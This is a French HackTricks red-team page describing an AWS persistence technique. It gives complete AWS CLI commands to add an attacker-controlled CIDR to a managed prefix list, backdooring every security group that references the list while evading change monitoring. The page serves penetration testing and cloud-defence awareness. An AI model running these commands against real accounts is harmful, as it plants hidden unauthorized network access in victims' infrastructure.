AWS - Security Group Backdoor via Managed Prefix Lists

Reading time: 4 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Résumé

Exploiter les customer-managed Prefix Lists pour créer un accÚs furtif. Si une security group (SG) rule référence une managed Prefix List, toute personne ayant la capacité de modifier cette liste peut ajouter silencieusement des CIDRs contrÎlés par l'attaquant. Chaque SG (et potentiellement Network ACL ou VPC endpoint) qui référence la liste autorise immédiatement les nouvelles plages sans aucun changement visible dans le SG.

Impact

  • Extension instantanĂ©e des plages IP autorisĂ©es pour tous les SG rĂ©fĂ©rencant la Prefix List, contournant les contrĂŽles de changement qui ne surveillent que les modifications de SG.
  • Permet des backdoors persistants d'ingress/egress : garder le CIDR malveillant cachĂ© dans la Prefix List tandis que la SG rule semble inchangĂ©e.

Prérequis

  • IAM permissions:
  • ec2:DescribeManagedPrefixLists
  • ec2:GetManagedPrefixListEntries
  • ec2:ModifyManagedPrefixList
  • ec2:DescribeSecurityGroups / ec2:DescribeSecurityGroupRules (to identify attached SGs)
  • Optional: ec2:CreateManagedPrefixList if creating a new one for testing.
  • Environnement : Au moins une SG rule rĂ©fĂ©rencant la customer-managed Prefix List ciblĂ©e.

Variables

bash
REGION=us-east-1
PREFIX_LIST_ID=<pl-xxxxxxxx>
ENTRY_CIDR=<attacker-cidr/32>
DESCRIPTION="Backdoor – allow attacker"

Étapes d'attaque

  1. ÉnumĂ©rer les prefix lists candidates et les consommateurs
bash
aws ec2 describe-managed-prefix-lists \
--region "$REGION" \
--query 'PrefixLists[?OwnerId==`<victim-account-id>`].[PrefixListId,PrefixListName,State,MaxEntries]' \
--output table

aws ec2 get-managed-prefix-list-entries \
--prefix-list-id "$PREFIX_LIST_ID" \
--region "$REGION" \
--query 'Entries[*].[Cidr,Description]'

Utilisez aws ec2 describe-security-group-rules --filters Name=referenced-prefix-list-id,Values=$PREFIX_LIST_ID pour confirmer quelles rÚgles SG dépendent de la liste.

  1. Ajouter le CIDR de l'attaquant Ă  la prefix list
bash
aws ec2 modify-managed-prefix-list \
--prefix-list-id "$PREFIX_LIST_ID" \
--add-entries Cidr="$ENTRY_CIDR",Description="$DESCRIPTION" \
--region "$REGION"
  1. Valider la propagation vers les groupes de sécurité
bash
aws ec2 describe-security-group-rules \
--region "$REGION" \
--filters Name=referenced-prefix-list-id,Values="$PREFIX_LIST_ID" \
--query 'SecurityGroupRules[*].{SG:GroupId,Description:Description}' \
--output table

Le trafic en provenance de $ENTRY_CIDR est dĂ©sormais autorisĂ© partout oĂč la prefix list est rĂ©fĂ©rencĂ©e (gĂ©nĂ©ralement dans les rĂšgles sortantes des proxies de sortie ou les rĂšgles entrantes des services partagĂ©s).

Preuves

  • get-managed-prefix-list-entries reflĂšte le CIDR de l'attaquant et la description.
  • describe-security-group-rules affiche toujours la rĂšgle SG originale faisant rĂ©fĂ©rence Ă  la prefix list (aucune modification du SG enregistrĂ©e), et pourtant le trafic provenant du nouveau CIDR passe.

Nettoyage

bash
aws ec2 modify-managed-prefix-list \
--prefix-list-id "$PREFIX_LIST_ID" \
--remove-entries Cidr="$ENTRY_CIDR" \
--region "$REGION"

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks